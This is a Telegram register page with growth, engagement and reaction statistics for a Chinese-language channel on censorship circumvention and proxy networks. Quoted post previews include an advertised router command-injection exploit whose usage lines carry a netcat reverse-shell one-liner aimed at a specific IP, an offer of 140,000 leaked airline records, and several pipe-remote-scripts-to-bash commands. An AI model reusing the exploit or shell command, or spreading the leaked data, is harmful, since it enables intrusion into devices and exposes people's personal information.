Telegram RegisterThe public register of Telegram
Telegram profile photo for nyarvex

Channel

nyarvex

@nyarvexxx

On this record: Growth · Engagement · What this channel posts · Reactions · Stars · Posts · Citations · Cite this entry

3,114subscribers

+9 since we began measuring on 7 August 2026

Risers and fallers across the register · movement among entries of 1,000–3,162.

Register entry

Telegram ID-1003886545157
TypeChannel
Username@nyarvexxx
CreatedBetween 1 February 2026 and 20 March 2026— estimated from Telegram’s id allocation, not measured. How this range is calculated.
First recorded7 August 2026
Last confirmed live13 August 2026
Measurements held4
Confirmed unchanged1 time, most recently 13 August 2026
On Telegramt.me/nyarvexxx

Growth

3,1053,1153,1107 August 2026 — 3,105 subscribers7 August 2026 — 3,109 subscribers10 August 2026 — 3,115 subscribers13 August 2026 — 3,114 subscribers3,1147 August 202613 August 2026
4 measurements spanning 6 days, net +9. Dots are measurements; the straight line between them is drawn to join them, not to claim we know the path taken in between — snapshots are recorded only when a count changes, so gaps mean “no change observed”, never “interpolated”. The vertical axis spans 3,104–3,117 and does not start at zero.
Measurement log — every subscribers count we have recorded
Measured (UTC)SubscribersChange
13 Aug 2026, 03:533,114-1
10 Aug 2026, 06:563,115+6
7 Aug 2026, 08:203,109+4
7 Aug 2026, 00:463,105first reading

Engagement

18 posts held, back to 20 March 2026the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 3 pagesof Telegram’s post history, 20 posts per page.

ERR · 30 days
58.9%
avg views ÷ 3,114 subscribers
Avg views / post
1,830
3 posts measured
Reaction rate
0.855%
reactions ÷ views · ER floor
Posts in window
3
of 18 held

ERR is average views per post over the last 30 days divided by subscribers, the definition TGStat uses, so this figure is comparable with the one you will see elsewhere. It falls structurally as a channel grows: a high ERR on a small channel and a low one on a large channel describe reach mathematics, not quality. We publish the figure and the sample it came from and pass no verdict on it.

ER is defined industry-wide as (forwards + reactions + comments) ÷ views— note the denominator is views, not subscribers. Telegram’s public web preview carries views and reactions but not forward or comment counts, so the reaction rate above is the reactions term only and is therefore a floor: the true ER for this channel is higher by an amount we have not measured and will not estimate.

What these figures were computed from
WindowRolling 30 days · latest post in window 6 August 2026
Posts held18 (20 March 20266 August 2026)
Views total5,500
Reactions total47
Forwards / commentsnot exposed by the public surface — not measured, not estimated
Readings taken7 Aug 2026, 23:57 UTC

Views are a single reading per post, taken at the time above. A post published in the last day or two is still accumulating views, which pulls the 30-day average down slightly. That is a property of the standard definition rather than a fault in it, so we keep the definition rather than “correcting” the number into something nobody can reproduce.

Precision. Telegram publishes view counts on its public widget in short form — 8.12K, 3.7M — so any reading at or above 1,000 reaches us rounded to three significant figures, and only counts below 1,000 are exact. Averages and rates derived from them are shown to the same precision rather than to the unit: a figure like 3,701,250 would assert digits nobody measured.

Reaction counts are published per emoji and rounded the same way, so a total below 1,000 is exact and a larger one is a sum that may carry a rounded component from each emoji above 1,000. Because it is a sum, it does not look rounded — read a large reaction total as three significant figures per contributing emoji rather than as the figure it prints.

What this channel posts

Video runtime
32m 15s
Average length
32m 15s

Measured directly from 1 video with a duration reading, out of the posts we hold for this channel — not this channel’s whole posting history, only the sample this register has actually read. An exact reading to the second, taken from the post itself rather than from Telegram’s own rounded chrome, so it carries no mark.

Reaction mix

389 reactions across 15 posts, in 21 distinct kinds. The most used accounts for 20.8% of them.

Every reaction kind recorded on the sample, most used first
ReactionCountShareShare, drawn
😁8120.8%
😱7218.5%
😢6617.0%
👍338.48%
😨276.94%
215.40%
💩194.88%
💯174.37%
🤣123.08%
👎82.06%
🥰71.80%
🥱71.80%
🍾41.03%
👨‍💻41.03%
🏆30.771%
👏20.514%
🤔20.514%
💊10.257%
🤡10.257%
🤪10.257%
1 further kind10.257%

No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.

Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.

Coverage. Reactions were read on 17 of the 18 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 389reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.

Measured over the 18 most recent posts we hold, published 20 March 2026 to 6 August 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.

Telegram Stars

Stars received
1
across the posts below
Posts paid on
1
of 18 we hold a reading for · 6%
Most on one post
1
single highest reading

A paid reaction is a reader spending Telegram Stars — bought with money — on a post by @nyarvexxx. Telegram publishes the count on the public post preview alongside ordinary reactions, and this register reads it there. It is the only figure on this site that measures money moving rather than attention.

Stars are not reactions, and the two are never added. They are rendered in the same strip on Telegram and counted in the same shape, but one is a tap and the other is a purchase. The reaction totals and the engagement rate elsewhere on this page exclude every figure in this section, and no rate here is computed against a reaction count.

This is not revenue, and we publish no currency figure. What a Star costs a reader and what it pays a channel are different numbers, Telegram takes a share we cannot observe, and the terms have changed. Converting a Star count into money would be an estimate dressed as a measurement, so the count is where we stop.

Counted over the 18 most recent posts we hold for this entry, published 20 March 2026 to 6 August 2026. Star counts above 1,000 reach us in Telegram’s short form and carry the same three-significant-figure rounding as everything else on this page.

Recent posts

6 Aug 2026, 12:47 UTC≈1,950 views16 reactionsread 7 August 2026
File

(0-day)飞鱼星路由器 weixin_auth.cgi 命令注入 - 逐字符写入工具 用法: python3 fyx_rce.py <目标URL> [要写入的命令] 示例: python3 fyx_rce.py http://222.88.213.2:8081 "mkfifo /tmp/f;cat /tmp/f|sh|nc 1.2.3.4 6666>/tmp/f" python3 fyx_rce.py http://222.88.213.2:8081 # 使用默认反弹shell命令 利用飞鱼星路由器 weixin_auth.cgi 接口中一个未经授权的远程命令注入漏洞(RCE),漏洞位于 /weixin_auth.cgi 的 extend 参数。CGI脚本在处理该参数时,未对用户输入进行过滤,直接将参数值拼接到系统shell命令中执行。构造 extend=volanswechatconnwifi';<注入命

😱13😁2👍1

2 Aug 2026, 09:54 UTC≈1,510 views5 reactionsread 7 August 2026
File

通过一个 TCP Traceroute 脚本探测网络路径并尝试识别 GFW 的出口节点或干扰行为。使用 Scapy 构造 TCP SYN 包,逐跳增加 TTL,根据返回的 ICMP 超时或 TCP 响应来判断路由和阻断情况。 参数说明: · host:目标域名或 IP(默认 x.com) · -p:目标端口(默认 443) · -m:最大 TTL(默认 128) · -t:超时时间(秒) · -r:每跳重试次数 · --no-location:不查询地理位置 输出解读: · 正常路由器:TTL: IP [国家 地区 城市] · 无响应:TTL: * · 检测到 RST 阻断:会打印阻断 IP 及位置,并提示“Suspected GFW exit IP”。 · 目标 SYN-ACK 到达:表示未被阻断。

5

1 Aug 2026, 02:55 UTC≈2,040 views26 reactionsread 7 August 2026

在 XVSC(Xray、V2fly、sing-box、Clash)公理框架内,存在这样的协议,你无法证明它不会被墙,也无法证明它会被墙,因为墙的转移函数随时间、空间和试探性放行状态动态变化,而有限测试集无法穷举无限状态空间,因此你无法构造一个有限的测试集来证明某个组合绝对安全;同时,由于墙不会主动公示规则,你也无法严格证明它必然被墙!所以协议的有效性依赖于外部裁判,而裁判本身不参与公理系统,自洽性不可自证。如果随意组合、嵌套、混淆各种传输层和不安全的加密方法并不给出 benchmark,严谨的翻墙学家可能会发出尖锐的爆鸣声,这只是他们的经验主义范式罢了,不用去理会他们,因为无法证明该协议可以被墙!

😁26

8 Jul 2026, 19:08 UTC≈4,370 views18 reactionsread 7 August 2026
Forwarded from @NianyunYPhoto

念云 - 您的私人极速云端☁️ | 跨越边界,瞬息即达。纯净稳定,念念不忘☺️ 😀此刻开始,去拥抱世界,去感受世界❤️ ❕全球10+国家节点接入,覆盖港、日、新、美、台🥳 ❕港日接入高速内网线路,不丢包,低延迟💰 ☺️有三网优化的低倍率直连节点 低倍率测速图😮 😛解锁支持:支持Netflix、Disney、YouTube及AI平台支持😀 ☺️90%代理软件支持:采用Anytls&vless协议🙀🎤💄😻📦 套餐分布: ❤️【小而美】12/月 丨 150G 丨1500Mbps 丨 5台设备丨 😵‍💫【恰到好】18/月丨 200G 丨 2000Mbps 丨5台设备丨 🥳【大满足】26/月丨 300G丨 2500Mbps丨 5台设备丨 🦀【长情伴】89/年丨100G丨1000Mbps丨4台设备(注:一年总共100G) 👤小而美,无止境,一念俱全❤️ 😀官网 😮测速 🫢流媒体

💩9🥰7💊1🤡1

7 Jul 2026, 11:16 UTC≈3,160 views42 reactionsread 7 August 2026
File

2013~2018 十四万条航空公司泄露信息

😨27🤣123

2 Jul 2026, 09:30 UTC≈4,150 views49 reactions1 Starread 7 August 2026

据《南华早报》(SCMP)7月1-2日报道,中国警方确实在期刊《Forensic Science and Technology》(法医学与技术)上发表了一篇罕见的技术论文,详细披露了加密货币侦查取证的具体方法。 设备取证阶段: 查获嫌疑人手机、电脑后,重点搜索助记词(seed phrase)、私钥、钱包地址。 使用专业取证软件扫描微信聊天记录、备忘录、笔记、图片(包括截图、隐藏文件)等,寻找任何与钱包相关的信息。 链上追踪: 如果拿不到私钥,就通过区块链分析工具追踪资金流向(on-chain analysis)。 向币安、OKX、HTX等主流交易所发出协查函,调取 KYC 实名信息、IP 登录记录、提现地址等。 资产处置: 确认涉案后,可将加密货币转移到警方控制的钱包,或直接要求交易所冻结账户并扣押资产。 这是中国警方罕见公开加密货币侦查技术的细节,显示了他们在这一领域的技术能力已较为成熟。

😱36🥱5👨‍💻42😁2

1 Jul 2026, 13:37 UTC≈3,700 views15 reactionsread 7 August 2026

性能测试: curl -sL yabs.sh | bash 流媒体解锁检测: bash <(curl -L -s check.unlock.media IP质量检测: bash <(curl -sL IP.Check.Place) 全球测速: wget -qO- nws.sh | bash Ping 和路由测试: wget -qO- nws.sh | bash -s -- -rt [region] 调优:sudo EXTREME_TFO=3 EXTREME_ECN=1 EXTREME_OFFLOAD=0 bash <(curl -fsSL https://gist.githubusercontent.com/n-yarvex/ee758ce2403c79f227ed1c7e42ca91eb/raw/bdee7dd7bcda65856add976af06dfe0c9f31e6cb/meow.sh) apply

👍132

1 Jul 2026, 07:13 UTC≈3,580 views26 reactionsread 7 August 2026

真实 Chrome 131+ 已将 X25519MLKEM768(混合后量子密钥交换曲线)作为默认密钥交换组之一。而 sing-box 的 uTLS chrome 指纹未包含该曲线,导致 ClientHello 中的 supported_groups 列表和整体结构与真实 Chrome 不一致。所以,即使 sing-box 的 curve_preferences 配置里默认包含 X25519MLKEM768,也无效 —— 因为 uTLS 模块走的是独立的指纹模仿逻辑,与标准 TLS 引擎不互通。 nekohasekai:utls 就是一坨,出了这么多次可识别问题,完全就是 naive 的纯下位!

😱23😁3

20 Jun 2026, 17:05 UTC≈4,080 views19 reactionsread 7 August 2026
Video

梁启超:大清万事不进步,而独防民之术先进各国,此真可痛哭也。

😢19

21 May 2026, 03:04 UTC≈6,870 views10 reactionsread 7 August 2026
Photo

1,CN2/GIA(AS4809)是中国电信顶级国际专线,晚高峰丢包率低于0.5%,延迟比普通线路降约40%。 2,CMIN2(AS58807)是中国移动国际精品网,定位对标CN2 GIA。 3,9929是中国联通精品骨干网,原网通线路负载极低,国际连接质量极高。 4,IEPL是基于以太网技术的国际专线,提供数据链路层逻辑隔离,抗封锁能力最强,延迟与丢包率远优于公网。透传型IEPL能够完全绕过公共互联网,相较于IPLC具有更高灵活性和成本效益。 5,高质量IP是监管高压势态下保障业务连续性的重要缓冲资源。

😁73

7 May 2026, 06:14 UTC≈8,790 views19 reactionsread 7 August 2026
Photo

近期包括腾讯云在内的华南多地专线机房为满足监管“清退跨境代理业务”要求而升级部署傲盾(Aodun)跨境VPN监控系统: 部署模式:旁路镜像/分光,机房/云商合规清退,非GFW直接阻断。 检测能力:ML指纹 + 20万+情报库,覆盖VLESS/Trojan/AnyTLS等主流协议,无需解密。 打击对象:固定入口、高并发、长期跨境中转的专线/机场节点。 封禁手段:实时发现+回溯+黑名单,批量封端口/IP或直接清退。 当前趋势:华南加速部署,2025-2026中转压力显著增大,分散+CDN方案更抗。

💯17👍2

7 May 2026, 05:56 UTC≈7,660 views15 reactionsread 7 August 2026

反向墙---针对境内源 IP 的静态封控 什么是墙,什么是反向墙?没有准确的定义。本人把 GFW 或 3C 运营商类似系统中【针对境外 IP 的封堵规则】称作墙,相对地,针对【境内 IP 的封堵规则】称作反向墙。 GFW 规则的基本要素有:封禁对象(IP 或域名)、方向(出境或入境)、协议、端口号、到期时间等。GFW 规则可能是临时的,比如触发 SNI 审查后的残余审查持续约 90 秒;可能是长期的,比如针对涉翻墙服务器的 IP 封禁;还有可能是永久的,比如针对某些网站。GFW 规则可能自动生成的,也可能是人工插入的。 现象 作为【机场入口】的国内服务器 IP,可以稳定地触发封海外,而其他民用用途的国内 IP 很少触发。 GFW 封海外非常灵敏,据测试,一个新的 IP 触发封海外最快只需几分钟。 触发后,此 IP 的【国际出方向】流量会被丢弃,而入境方向通常正常。 (所以 GFW 的封海外不能海外 D) 原理/猜想 机场常

👍15

Showing the 12 most recent of 18 posts we hold for @nyarvexxx. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.

Stars beside a post are paid reactions — Telegram Stars, bought with money and spent on that post. They are a different unit from reactions and are never added to them, here or anywhere else on this page.

Citation-graph rank

Citation-graph rank — 174,883 of 1,481,243entries in the measured graph. A weighted position computed from the forward and mention edges below — republished posts weigh more than named mentions — and recomputed periodically, over the whole graph. Published only as this ordinal position, never as a score: a position is a fact, and a score printed beside one channel’s name would read as a verdict this register does not make. The two counts beneath stay separate for the same reason mentions are never summed with forwards anywhere else on this page — a named-by count costs nothing to manufacture. The top 100 by this measure, or how it is computed.

Forward network

Republishes

Channels on the register whose posts this channel has forwarded.

Built only from forwarded posts we have actually read, on both sides. Coverage is early and deliberately incomplete: a missing link means we have not read the post that would prove it, never that the relationship does not exist. Counts are distinct forwarded posts observed, so they only ever go up as we read more.

Mentions

Names

Channels on the register whose handles appear in this channel's posts.

A mention is a weaker signal than a forward and is counted separately for that reason — naming a channel is not republishing it, and a handle in a post body is easy to place deliberately. The post counts beside each row below are distinct posts in which the handle appeared, from posts we have read on both sides — the “Named by N registered channels” figure above is a different count, of distinct NAMING CHANNELS rather than posts, and is not the sum of the rows under it.

Cite this entry

A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 13 August 2026 — this entry's latest reading, not the date you are reading this.

“nyarvex” (@nyarvexxx), 3,114 subscribers as measured 13 August 2026. Telegram Register, tgregister.com/channel/nyarvexxx.

Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.